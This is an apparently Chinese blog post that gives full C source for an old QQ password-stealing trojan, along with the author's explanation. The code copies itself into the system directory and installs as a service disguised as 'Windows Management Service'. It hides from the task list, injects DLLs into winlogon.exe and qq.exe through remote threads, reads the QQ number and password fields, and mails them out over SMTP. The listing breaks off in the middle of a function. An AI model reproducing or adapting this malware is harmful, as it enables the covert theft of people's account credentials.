给新手--古老版本QQ木马源代码及说明

腾讯QQ2009通信协议源码分析与应用 本文还有配套的精品资源,点击获取 简介:本资源深入解析了腾讯QQ2009的私有通信协议,涉及登录、消息发送与接收的核心功能,为开发者提供了一套理解QQ通信机制的工具。通过分析源码,开发者可以掌握构造登录请求、消息格式设计、加密算法应用等网络编程技巧,并了解如何保持通信连接和处理消息错误。但需要注意,对QQ协议的研究应避免侵犯腾讯的知识产权。 1. 腾讯QQ2009... 阅读详情
虽然早已对QQ不感兴趣,不过好久没有听说新的盗QQ号的程序,还是觉得有点奇怪,问了几个人,听说新版的QQ增加了防盗的功能,就来了一点兴趣,花了点时间,写了这么一个偷号的程序,但是只用自己的号测试过,可从来没动过别人的!这个程序支持QQ1230可QQ2003版本,系统平台我在Win98,2000和2003上测试都没有问题,其他的系统没有测试过,不知道行不行。另外收邮件的邮箱最好用163的或者sina的,反正我在sohu测试是不行的。
    到网上随便找了一点资料,都很旧了,除了用键盘记录的,就是向QQ的号码和密码窗口发送WM_GETTEXT消息得到它们的内容的,这个在98下很好办,不过我不知道什么时候在哪里好像看过在nt平台下是不行的,一个进程向另外一个进程的带有密码属性的窗口发送WM_GETTEXT消息是不能得到其内容的,只有自身进程发送的WM_GETTEXT消息才行。但是这也好办,我们把得到密码的函数作为一个线程插入到QQ进程里面不就行了么!远程线程插入在Shotgun的大作《揭开木马的神秘面纱(四)》和《Windows核心编程》的第22章都有详细的叙述。下面就详细说明一下流程。
    首先,判断系统版本,如果就9x,将自己复制到系统目录,如果复制成功,说明自身没有在系统目录运行那么需要启动系统目录下的实例,然后自己退出。再创建一个互斥量,保证只有一个实例存在。接下来,用RegisterServiceProcess函数将自己注册成一个服务程序,这样在9x下按ctrl+alt+del就不会看到了。最后,调用GetQQPass函数,监视QQ登录的情况。如果是NT系统,将自己安装为自动启动的系统服务,服务启动后,任务就是释放两个要插入其他进程的dll,把监视QQ登录窗口的dll插入到winlogon.exe进程中,然后就停止,这样就不会在任务管理器里面看到不正常的进程了。插入到winlogon.exe里面的线程负责监视是否有QQ登录,发现后就将GetQQPass函数作为一个线程插入到QQ进程中,当GetQQPass函数捕获到号码和密码时,就向设置好的邮箱发一封信。至于为什么要插入到winlogon.exe进程,只是习惯而已,当然,也可以插入到其他的系统进程里,但是注意一定要插入到系统进程,不能是用户进程。因为只有系统进程里的线程才能在任何用户登录的情况下都有权限做远程线程插入的动作。GetQQPass函数我使用很简单的办法,就是向QQ的号码和密码窗口发送WM_GETTEXT消息得到它们的内容。判断哪个窗口是号码窗口和密码窗口的办法也是最常用的,就是靠它们的style。首先用QQ登录窗口的类名得到QQ的登录窗口的句柄,再通过这个句柄找到号码窗口和密码窗口的句柄。类名和子窗口的style都是用spy++得到的。这里有一个细节,就是“QQ注册向导”窗口里面,选中“使用已有的QQ号码”以后和选中以前的号码与密码窗口的style是不一样的,当然我们要选中以后的style了。发邮件部分也很简陋,现在只在163和sina的测试过,还能用。其中base64编码部分的代码是以前从网上copy的,忘了从哪里看的了,总之感谢这段代码的作者。
    现在还有一个非常严重的bug,就是在nt平台上,不能得到非管理员用户的QQ号码和密码,我观察过,明明已经将GetQQPass插入到QQ进程里了,但是就是不能得到密码,郁闷,哪位大侠知道怎么回事,请指教^_^谢谢!
下面是源代码:

//这个是包含要用到的函数和结构的说明的头文件
/*---------------------------------------------------------------------
//GQPSvr.h
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.7
---------------------------------------------------------------------*/
#include <windows.h>
//---------------------------------------------------------------------
//判断系统版本,9x返回1,NT、2000、xp、2003返回2,其它返回0
int GetOsVer(void);

//---------------------------------------------------------------------
//复制自身到系统目录
//pAim:[in,out],初始为存放目标文件名缓冲区的指针,
//函数向缓冲区返回完整路径的目标文件名
//成功返回0,否则返回非0
int CopySelfToSys(char *pAim);

//---------------------------------------------------------------------
//加入注册表自启动项,KeyName为键名,KeyValue为键值
void RegStart(const char *KeyName, const char *KeyValue);


//---------------------------------------------------------------------
//为当前进程增加指定的特权,Name为特权名,成功返回0,失败返回1
int AddPrivilege(const char *Name);

//---------------------------------------------------------------------
//将FullName指定的dll文件以远程线程方式插入到Pid指定的进程里
//成功返回0,失败返回1
int InjectDll(const char *FullName, const DWORD Pid);



/*---------------------------------------------------------------------
功能:得到进程名对应的Pid
要求:win2000以上系统,链接时需要psapi.lib
返回值:未找到则返回0,否则返回第一个符合条件的pid
说明:因为可能有相同进程名的多个实例存在,所以将所有符合条件的
进程的pid依次存放在aPid数组里
aPid的值可以为NULL,如果aPid为NULL,函数找到第一个符合条件的pid
后立即返回
---------------------------------------------------------------------*/
DWORD ProcessToPID(const char *ProcessName, DWORD aPid[1024]);

//---------------------------------------------------------------------
//通过需要身份验证的smtp服务器发送邮件的函数
typedef struct _SMTPINFO
{
    char SmtpSrvName[32];
    char Port[7];
    char UserName[16];
    char Password[16];
    char From[32];
    char To[32];
    char Subject[32];
    char *msg;

}SMTPINFO;

int SendMail(const SMTPINFO *psmtpinfo);

/*---------------------------------------------------------------------
递归枚举hFatherWindow指定的窗口下的所有子窗口和兄弟窗口,
返回和lstyle样式相同的窗口句柄,如果没有找到,返回NULL
---------------------------------------------------------------------*/
HWND GetStyleWindow(HWND hFatherWindow, const long lstyle);

//---------------------------------------------------------------------
//得到QQ密码的函数
DWORD WINAPI GetQQPass(void);
//---------------------------------------------------------------------


//主程序
/*---------------------------------------------------------------------
//GQPSvr.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.9
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include "GQP_Data.h"
#include "Plus_Data.h"
#include <stdio.h>
#include <windows.h>
#include <winsvc.h>
//---------------------------------------------------------------------
//Global constant
//服务显示名称
const char DISPLAYNAME[33] = "Windows Management Service";
//复制到系统的文件名
const char SRVFILENAME[13] = "Winms.exe";
//要插入的进程名
const char DESTPROC[19] = "winlogon.exe";
//互斥量
const char *pchMyMutex = "sjdf ^-^";
//dll文件名
const char *GQP_Dll_Name = "//nt_gqp_dll.dll";
const char *Plus_Dll_Name = "//nt_plus_dll.dll";
//9x下写入注册表自启动项的键名
const char *pchStartName = "GQP";
//---------------------------------------------------------------------
//Glabal variable
const char SERVICENAME[9] = "winms";
SERVICE_STATUS          MyServiceStatus;
SERVICE_STATUS_HANDLE   MyServiceStatusHandle;
char achAim[MAX_PATH + 1];
int WillStop = 0;

//---------------------------------------------------------------------
//Function declaration
void  MyServiceStart (int argc, char *argv[]);
void  MyServiceCtrlHandler (DWORD opcode);
DWORD MyWrokThread(void);
//---------------------------------------------------------------------
//Function definition
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
    //判断系统版本
    int OsVer = GetOsVer();
    
    //如果是9x系统,把自己注册为
    //服务程序,用于隐藏自己,并开始监视QQ登录

    if (OsVer == 1)
    {
        //准备复制到系统目录
        ZeroMemory(achAim, sizeof(achAim));
        lstrcpy(achAim, SRVFILENAME);

        //如果复制成功,说明自身没有在系统目录运行
        //那么需要启动系统目录下的实例,然后自己退出
        if (!CopySelfToSys(achAim))
        {
            WinExec(achAim, SW_HIDE);
            return 1;
        }

        //确定只有一个实例存在
        CreateMutex(NULL, 0, pchMyMutex);

        if (GetLastError() == ERROR_ALREADY_EXISTS)
        {
            return 1;
        }

        DWORD (WINAPI *RegisterServiceProcess)(DWORD, DWORD);
        HMODULE k32 = GetModuleHandle("KERNEL32.DLL");

        if(k32)
        {
            RegisterServiceProcess = GetProcAddress(k32, "RegisterServiceProcess");

            if(RegisterServiceProcess)
            {
                RegisterServiceProcess(0, 1);
            }
        }

        RegStart(pchStartName, achAim);

        //调用获取QQ密码的函数
        GetQQPass();

    }

    //如果是win2000系统,将自己注册为自动启动的系统服务,
    //服务的任务是启动后把监视QQ登录窗口的dll插入到winlogon.exe
    //进程中,然后就停止
    if (OsVer == 2)
    {
        
        //复制自身到系统目录
        ZeroMemory(achAim, sizeof(achAim));
        lstrcpy(achAim, SRVFILENAME);
        CopySelfToSys(achAim);

        //如果参数为“-service”就作为服务启动
        if (strstr(lpCmdLine, "-service") != NULL)
        {
            SERVICE_TABLE_ENTRY   DispatchTable[] =
            {
                {SERVICENAME, (LPSERVICE_MAIN_FUNCTION)MyServiceStart},
                {NULL, NULL}
            };

            if (!StartServiceCtrlDispatcher( DispatchTable))
            {
                return 1;
            }

            return 0;
        }

        //否则就安装服务
        SC_HANDLE newService, scm;
        //连接SCM
        if (!(scm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE)))
        {
            return 1;
        }

        //当作为服务启动时加上“-service”参数
        lstrcat(achAim," -service");

        if ((newService = CreateService(scm,
            SERVICENAME,
            DISPLAYNAME,
            SERVICE_ALL_ACCESS,
            SERVICE_WIN32_OWN_PROCESS,
            SERVICE_AUTO_START,
            SERVICE_ERROR_NORMAL,
            achAim,
            NULL, NULL, NULL, NULL, NULL)))

        {
            //启动服务
            char *pra[] = {" -service", "/0"};

            StartService(newService, 1, (const char **)pra);

        }

        CloseServiceHandle(newService);
        CloseServiceHandle(scm);
        return 0;
    }

    return 0;
}


DWORD MyWorkThread(void)
{
    Sleep(3000);
    
    //释放两个dll到系统目录
    //释放NT_GQP_DLL.dll
    
    ZeroMemory(achAim, sizeof(achAim));

    if (!GetSystemDirectory(achAim, sizeof(achAim) - 1))
    {
        return 1;
    }

    lstrcat(achAim, GQP_Dll_Name);

    FILE *fp;

    if ((fp = fopen(achAim, "wb")) != NULL)
    {
        //用GQP_Dll_Data1、2、3这么麻烦是因为把dll的数据放到了
        //头文件里作为数组形式,不过lcc编译器不支持太多的行,
        //所以只好分成三部分了。
        fwrite(GQP_Dll_Data1, sizeof(GQP_Dll_Data1), 1, fp);
        fwrite(GQP_Dll_Data2, sizeof(GQP_Dll_Data2), 1, fp);
        fwrite(GQP_Dll_Data3, sizeof(GQP_Dll_Data3), 1, fp);
        fclose(fp);
    }

    //释放NT_Plus_DLL.dll
    ZeroMemory(achAim, sizeof(achAim));

    if (!GetSystemDirectory(achAim, sizeof(achAim) - 1))
    {
        return 1;
    }

    lstrcat(achAim, Plus_Dll_Name);

    if ((fp = fopen(achAim, "wb")) != NULL)
    {
        fwrite(Plus_DLL_Data1, sizeof(Plus_DLL_Data1), 1, fp);
        fwrite(Plus_DLL_Data2, sizeof(Plus_DLL_Data2), 1, fp);
        fwrite(Plus_DLL_Data3, sizeof(Plus_DLL_Data3), 1, fp);
        fclose(fp);
    }

    //得到要插入的目标进程的pid
    DWORD Pid;

    if ((Pid = ProcessToPID(DESTPROC, NULL)) != 0)
    {
        //要插入的dll文件名在释放文件时已经存在DLL_Path中
        //插入目标进程
        InjectDll(achAim, Pid);

    }

    WillStop = 1;
    Sleep(3000);
    return 0;
}


void MyServiceStart (int argc, char *argv[])
{

    MyServiceStatus.dwServiceType        = SERVICE_WIN32;
    MyServiceStatus.dwCurrentState       = SERVICE_START_PENDING;
    MyServiceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP;
    MyServiceStatus.dwWin32ExitCode      = 0;
    MyServiceStatus.dwServiceSpecificExitCode = 0;
    MyServiceStatus.dwCheckPoint         = 0;
    MyServiceStatus.dwWaitHint           = 0;

    if (!(MyServiceStatusHandle = RegisterServiceCtrlHandler(SERVICENAME,
                                    (LPHANDLER_FUNCTION)MyServiceCtrlHandler)))
    {
        return;
    }

    // Initialization code goes here. Handle error condition
    DWORD Threadid;

    if (!CreateThread(NULL, 0,(LPTHREAD_START_ROUTINE)MyWorkThread,NULL, 0, &Threadid))
    {
        MyServiceStatus.dwCurrentState       = SERVICE_STOPPED;
        MyServiceStatus.dwCheckPoint         = 0;
        MyServiceStatus.dwWaitHint           = 0;
        MyServiceStatus.dwWin32ExitCode      = GetLastError();
        MyServiceStatus.dwServiceSpecificExitCode = GetLastError();

        SetServiceStatus(MyServiceStatusHandle, &MyServiceStatus);
        return;
    }

    // Initialization complete - report running status.
    MyServiceStatus.dwCurrentState       = SERVICE_RUNNING;
    MyServiceStatus.dwCheckPoint         = 0;
    MyServiceStatus.dwWaitHint           = 0;

    if (!SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus))
    {
        return;
    }

    while(WillStop == 0)
    {
        Sleep(200);
    }

    MyServiceStatus.dwWin32ExitCode = 0;
    MyServiceStatus.dwCurrentState  = SERVICE_STOPPED;
    MyServiceStatus.dwCheckPoint    = 0;
    MyServiceStatus.dwWaitHint      = 0;
    MyServiceStatus.dwWin32ExitCode      = GetLastError();
    MyServiceStatus.dwServiceSpecificExitCode = GetLastError();

    SetServiceStatus (MyServiceStatusHandle,  &MyServiceStatus);
    return;
}


void MyServiceCtrlHandler (DWORD Opcode)
{
    switch(Opcode)
    {
    case SERVICE_CONTROL_PAUSE:
        // Do whatever it takes to pause here.
        MyServiceStatus.dwCurrentState = SERVICE_PAUSED;
        break;

    case SERVICE_CONTROL_CONTINUE:
        // Do whatever it takes to continue here.
        MyServiceStatus.dwCurrentState = SERVICE_RUNNING;
        break;

    case SERVICE_CONTROL_STOP:
        // Do whatever it takes to stop here.
        MyServiceStatus.dwWin32ExitCode = 0;
        MyServiceStatus.dwCurrentState  = SERVICE_STOPPED;
        MyServiceStatus.dwCheckPoint    = 0;
        MyServiceStatus.dwWaitHint      = 0;

        SetServiceStatus (MyServiceStatusHandle,  &MyServiceStatus);

        WillStop = 1;
        return;

    case SERVICE_CONTROL_INTERROGATE:
        // Fall through to send current status.
        break;

    }

    // Send current status.
    if (!SetServiceStatus (MyServiceStatusHandle,  &MyServiceStatus))
    {
        WillStop = 1;
        return;
    }

    return;
}

//插入到系统进程的dll的代码
/*---------------------------------------------------------------------
//NT_Plus_DLL.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.9
//Last modify date: 2003.10.9
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include <windows.h>
//---------------------------------------------------------------------

//---------------------------------------------------------------------
DWORD WINAPI InjectQQ(void);
//---------------------------------------------------------------------
BOOL WINAPI __declspec(dllexport) DllMain(HINSTANCE hDLLInst,
                                            DWORD fdwReason,
                                            LPVOID lpvReserved)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:

        CreateThread(NULL,
            0,
            (LPTHREAD_START_ROUTINE)InjectQQ,
            0,
            0,
            NULL);

        break;

    }

    return TRUE;
}
//---------------------------------------------------------------------
DWORD WINAPI InjectQQ(void)
{
    //要插入的dll的全名
    const char *GQP_Dll_Name = "//nt_gqp_dll.dll";
    char achDllPath[MAX_PATH + 1];
    ZeroMemory(achDllPath, sizeof(achDllPath));
    
    if (!GetSystemDirectory(achDllPath, sizeof(achDllPath) - 1))
    {
        return 1;
    }

    lstrcat(achDllPath, GQP_Dll_Name);
    //查找QQ进程
    int i, j;
    DWORD OldPid[32];
    DWORD NewPid[32];
    
    ZeroMemory(OldPid, 32);    
    
    while(1)
    {
        ZeroMemory(NewPid, 32);
        ProcessToPID("qq.exe", NewPid);
        
        for(i = 0; (i < 32) && (NewPid[i] != 0); i++)
        {
            for(j = 0; (j < 32) && (OldPid[j] != 0); j++)
            {
                if (NewPid[i] == OldPid[j])
                {
                    break;
                }
            }
            
            if (NewPid[i] == OldPid[j])
            {
                continue;
            }
            
            
            InjectDll(achDllPath, NewPid[i]);
        }
        
        ZeroMemory(OldPid, 32);
        CopyMemory(OldPid, NewPid, 32);
        Sleep(500);
    }
    
    return 0;
}


//插入到QQ进程的dll的代码
/*---------------------------------------------------------------------
//NT_GQP_DLL.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.8
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include <windows.h>
//---------------------------------------------------------------------

//---------------------------------------------------------------------
BOOL WINAPI __declspec(dllexport) DllMain(HINSTANCE hDLLInst, DWORD fdwReason, LPVOID pvReserved)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:

        CreateThread(NULL,
            0,
            (LPTHREAD_START_ROUTINE)GetQQPass,
            0,
            0,
            NULL);

        break;

    }

    return TRUE;
}
//---------------------------------------------------------------------


//下面的都是上面用到的函数,声明在头文件里。
/*---------------------------------------------------------------------
//GetQQPass.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.8
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include <windows.h>
//---------------------------------------------------------------------
DWORD WINAPI SendPass(char *pchFmtResult);
//---------------------------------------------------------------------
DWORD WINAPI GetQQPass(void)
{
    //用spy++得到的QQ的数据
    //QQ登录窗口的类名
    const char *pchWinClass = "#32770";
    //QQ登录窗口的号码窗口样式
    const long lNumWindowStyle1 = 0x50002380;
    //QQ登录窗口的密码窗口样式
    const long lPassWindowStyle1 = 0x500100a0;
    //QQ注册向导窗口的号码窗口样式
    const long lNumWindowStyle2 = 0x50012080;
    //QQ注册向导窗口的密码窗口样式
    const long lPassWindowStyle2 = 0x500100a0;

    HWND hLoginWindow, hNumWindow, hPassWindow;
    char achNum[10], achPass[17], achFmtResult[40];
    DWORD ThreadID;

    while(1)
    {
        Sleep(200);

        //找到QQ登录窗口
        if ((hLoginWindow = FindWindow(pchWinClass, NULL)) != NULL)
        {
            //获取QQ用户登录对话框里面的号码窗口和密码窗口的句柄
            hNumWindow = GetStyleWindow(hLoginWindow, lNumWindowStyle1);
            hPassWindow = GetStyleWindow(hLoginWindow, lPassWindowStyle1);
            //如果句柄都有效
            if ((hNumWindow && hPassWindow))
            {
                ZeroMemory(achFmtResult, sizeof(achFmtResult));

                //当句柄仍然有效时,说明用户没有点击进入下一步窗口的
                //按钮,则可能还没有输完号码和密码,所以要一直得到这
                //两个窗口的内容,直到窗口无效
                while(GetStyleWindow(hNumWindow, lNumWindowStyle1)
                        && GetStyleWindow(hPassWindow, lPassWindowStyle1))
                {
                    ZeroMemory(achNum, sizeof(achNum));
                    ZeroMemory(achPass, sizeof(achPass));
                    SendMessage(hNumWindow, WM_GETTEXT, sizeof(achNum), (LPARAM)achNum);
                    SendMessage(hPassWindow, WM_GETTEXT, sizeof(achPass), (LPARAM)achPass);

                    if (lstrlen(achPass))
                    {
                        ZeroMemory(achFmtResult, sizeof(achFmtResult));
                        wsprintf(achFmtResult, "%s:%s", achNum, achPass);
                    }

                    Sleep(20);
                }

                //用户可能使用QQ注册向导登录,所以号码或者密码可能
                //为空,这样就不记录
                if (lstrlen(achFmtResult) > 6)
                {
                    CreateThread(NULL,
                                    0,
                                    (LPTHREAD_START_ROUTINE)SendPass,
                                    achFmtResult,
                                    0,
                                    &ThreadID);

                    Sleep(2000);
                }
            }

            //获取QQ注册向导对话框里面的号码窗口和密码窗口的句柄
            hNumWindow = GetStyleWindow(hLoginWindow, lNumWindowStyle2);
            hPassWindow = GetStyleWindow(hLoginWindow, lPassWindowStyle2);

            //如果句柄都有效
            if ((hNumWindow && hPassWindow))
            {
                ZeroMemory(achFmtResult, sizeof(achFmtResult));

                //当句柄仍然有效时,说明用户没有点击进入下一步窗口的
                //按钮,则可能还没有输完号码和密码,所以要一直得到这
                //两个窗口的内容,直到窗口无效
                while(GetStyleWindow(hNumWindow, lNumWindowStyle2)
                        && GetStyleWindow(hPassWindow, lPassWindowStyle2))
                {
                    ZeroMemory(achNum, sizeof(achNum));
                    ZeroMemory(achPass, sizeof(achPass));
                    SendMessage(hNumWindow, WM_GETTEXT, sizeof(achNum), (LPARAM)achNum);
                    SendMessage(hPassWindow, WM_GETTEXT, sizeof(achPass), (LPARAM)achPass);

                    if (lstrlen(achPass))
                    {
                        ZeroMemory(achFmtResult, sizeof(achFmtResult));
                        wsprintf(achFmtResult, "%s:%s", achNum, achPass);
                    }

                    Sleep(20);
                }

                if (lstrlen(achFmtResult) > 6)
                {
                    CreateThread(NULL,
                                    0,
                                    (LPTHREAD_START_ROUTINE)SendPass,
                                    achFmtResult,
                                    0,
                                    &ThreadID);

                    Sleep(2000);
                }
            }
        }
    }

    return 0;
}

//---------------------------------------------------------------------
//发送QQ密码的线程函数
DWORD WINAPI SendPass(char *pchFmtResult)
{
    SMTPINFO smtpinfo = {"smtp服务器名", "smtp端口", "用户名", "密码",
                        "收信人", "发信人", "", ""};

    lstrcpy(smtpinfo.Subject, pchFmtResult);

    return SendMail(&smtpinfo);

}


/*---------------------------------------------------------------------
//GetStyleWindow.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.7
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include <windows.h>
/*---------------------------------------------------------------------
递归枚举hFatherWindow指定的窗口下的所有子窗口和兄弟窗口,
返回和lstyle样式相同的窗口句柄,如果没有找到,返回NULL
---------------------------------------------------------------------*/
HWND GetStyleWindow(HWND hFatherWindow, const long lstyle)
{
    //如果这个窗口符合查找条件,返回此句柄
    if (GetWindowLong(hFatherWindow, GWL_STYLE) == lstyle)
    {
        return hFatherWindow;
    }

    HWND hNextWindow, hDestWindow;

    //得到子窗口句柄
    if ((hNextWindow = GetWindow(hFatherWindow, GW_CHILD))!= NULL)
    {
        //递归查找子窗口
        if ((hDestWindow = GetStyleWindow(hNextWindow, lstyle)) != NULL)
        {
            return hDestWindow;
        }
    }

    //递归查找兄弟窗口
    if ((hNextWindow = GetWindow(hFatherWindow, GW_HWNDNEXT)) != NULL)
    {
        return GetStyleWindow(hNextWindow, lstyle);
    }

    //没有匹配的则返回NULL
    return NULL;
}

/*---------------------------------------------------------------------
//AddPrivilege.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.8
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#ifdef _DEBUG
#include <stdio.h>
#endif

#include "GQPSvr.h"
#include <windows.h>
//---------------------------------------------------------------------
//为当前进程增加指定的特权
int AddPrivilege(const char *Name)
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID Luid;

    if (!OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
        &hToken))
    {
        #ifdef _DEBUG
            printf("OpenProcessToken error./n");
        #endif
        return 1;
    }

    if (!LookupPrivilegeValue(NULL,Name,&Luid))
    {
        #ifdef _DEBUG
            printf("LookupPrivilegeValue error./n");
        #endif
        return 1;
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    tp.Privileges[0].Luid = Luid;

    if (!AdjustTokenPrivileges(hToken,
        0,
        &tp,
        sizeof(TOKEN_PRIVILEGES),
        NULL,
        NULL))
    {
        #ifdef _DEBUG
            printf("AdjustTokenPrivileges error./n");
        #endif
        return 1;
    }

    return 0;
}
//---------------------------------------------------------------------

/*---------------------------------------------------------------------
//CopySelfToSys.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.8
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include <windows.h>
//---------------------------------------------------------------------
//复制自身到系统目录
int CopySelfToSys(char *pAim)
{
    //pAim:[in,out],初始为存放目标文件名缓冲区的指针,
    //函数向缓冲区返回完整路径的目标文件名
    char DestName[MAX_PATH + 1];
    char NowName[MAX_PATH + 1];

    ZeroMemory(DestName,MAX_PATH + 1);
    ZeroMemory(NowName,MAX_PATH + 1);

    if (!GetSystemDirectory(DestName, MAX_PATH))
    {
        //printf("GetSystemDirectory() error = %d/nInstall failure!/n",GetLastError());
        return 1;
    }

    lstrcat(DestName,"//");
    lstrcat(DestName,pAim);
    lstrcpy(pAim, DestName);

    if (!GetModuleFileName(NULL, NowName, MAX_PATH))
    {
        //printf("GetModuleFileName() error = %d/nInstall failure!/n",GetLastError());
        return 1;
    }

    if (!CopyFile(NowName, DestName, 0))
    {
        //printf("CopyFile() error = %d/nInstall failure!/n",GetLastError());
        return 1;
    }


    return 0;
}

/*---------------------------------------------------------------------
//GetOsVer.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.8
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include <windows.h>
//---------------------------------------------------------------------

//判断系统版本
int GetOsVer(void)
{
    OSVERSIONINFO osvi;
    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    GetVersionEx (&osvi);

    //95,98 or Me
    if (osvi.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
    {
        return 1;
    }

    //NT,2000,xp or 2003
    if (osvi.dwPlatformId == VER_PLATFORM_WIN32_NT)
    {
        return 2;
    }

    //Other
    return 0;
}
//---------------------------------------------------------------------

/*---------------------------------------------------------------------
//InjectDll.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.8
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#ifdef _DEBUG
#include <stdio.h>
#endif

#include "GQPSvr.h"
#include <windows.h>
//---------------------------------------------------------------------
//将FullName指定的dll文件以远程线程方式插入到Pid指定的进程里
int InjectDll(const char *FullName, const DWORD Pid)
{
    HANDLE hRemoteProcess;

    //如果是要打开系统进程,一定要先申请debug权限
    AddPrivilege(SE_DEBUG_NAME);

    if ((hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许远程创建线程
        PROCESS_VM_OPERATION | //允许远程VM操作
        PROCESS_VM_WRITE |  //允许远程VM写
        PROCESS_VM_READ,    //允许远程VM读
        0,
        Pid)) == NULL)
    {
        #ifdef _DEBUG
            printf("OpenProcess() error./n");
        #endif
        return 1;
    }

    char *pDllName;

    if ((pDllName = (char *)VirtualAllocEx( hRemoteProcess,
        NULL,
        lstrlen(FullName) + 1,
        MEM_COMMIT,
        PAGE_READWRITE)) == NULL)
    {
        #ifdef _DEBUG
            printf("VirtualAllocEx() error./n");
        #endif
        return 1;
    }

    //使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间
    if (WriteProcessMemory(hRemoteProcess,
        pDllName,
        (void *)FullName,
        lstrlen(FullName),
        NULL) == 0)
    {
        #ifdef _DEBUG
            printf("WriteProcessMemory() error./n");
        #endif
        return 1;
    }


    //计算LoadLibraryA的入口地址
    PTHREAD_START_ROUTINE pfnStartAddr;

    if ((pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(
        GetModuleHandle(TEXT("kernel32")), "LoadLibraryA")) == NULL)
    {
        #ifdef _DEBUG
            printf("GetProcAddress() error./n");
        #endif
        return 1;
    }


    HANDLE hRemoteThread;
    DWORD ThreadId;

    if ((hRemoteThread = CreateRemoteThread(hRemoteProcess, //被嵌入的远程进程
        NULL,
        0,
        pfnStartAddr,  //LoadLibraryA的入口地址
        pDllName,
        0,
        &ThreadId)) == NULL)
    {
        #ifdef _DEBUG
            printf("CreateRemoteThread() error./n");
        #endif
        return 1;
    }

    return 0;
}
//---------------------------------------------------------------------

/*---------------------------------------------------------------------
//ProcessToPID.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.24
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#ifdef _DEBUG
#include <stdio.h>
#endif

#include "GQPSvr.h"
#include <string.h>
#include <windows.h>
/*---------------------------------------------------------------------
功能:得到进程名对应的Pid
要求:win2000以上系统,使用Psapi.dll
返回值:未找到则返回0,否则返回第一个符合条件的pid
说明:因为可能有相同进程名的多个实例存在,所以将所有符合条件的
进程的pid依次存放在aPid数组里
aPid的值可以为NULL,如果aPid为NULL,函数找到第一个符合条件的pid
后立即返回
---------------------------------------------------------------------*/

DWORD ProcessToPID(const char *ProcessName, DWORD aPid[1024])
{
    
    typedef BOOL (CALLBACK* EnumProcessesType)(DWORD *,DWORD,DWORD *);
    typedef BOOL (CALLBACK* EnumProcessModulesType)(HANDLE,HMODULE *,DWORD,LPDWORD);
    typedef DWORD (CALLBACK* GetModuleBaseNameType)(HANDLE, HMODULE, LPTSTR, DWORD);
    
    EnumProcessesType EnumProcesses;
    EnumProcessModulesType EnumProcessModules;
    GetModuleBaseNameType GetModuleBaseName;
    

    HMODULE hmPsapi = GetModuleHandle("psapi.dll");
    
    if (hmPsapi == NULL)
    {
        if ((hmPsapi = LoadLibrary("psapi.dll")) == NULL)
        {
            #ifdef _DEBUG
                printf("LoadLibrary() error : %d/n", GetLastError());
            #endif
            return 0;
        }
        
    }

    EnumProcesses = (EnumProcessesType)GetProcAddress(hmPsapi, "EnumProcesses");
    EnumProcessModules = (EnumProcessModulesType)GetProcAddress(hmPsapi, "EnumProcessModules");
    GetModuleBaseName = (GetModuleBaseNameType)GetProcAddress(hmPsapi, "GetModuleBaseNameA");
    
    #ifdef _DEBUG
        if(!EnumProcesses)
            printf("EnumProcesses == NULL/n");
        if(!EnumProcessModules)
            printf("EnumProcessModules == NULL/n");
        if(!GetModuleBaseName)
            printf("GetModuleBaseName == NULL/n");
    #endif

    if (!(EnumProcesses &&
            EnumProcessModules &&
            GetModuleBaseName))
    {
        FreeLibrary(hmPsapi);
        
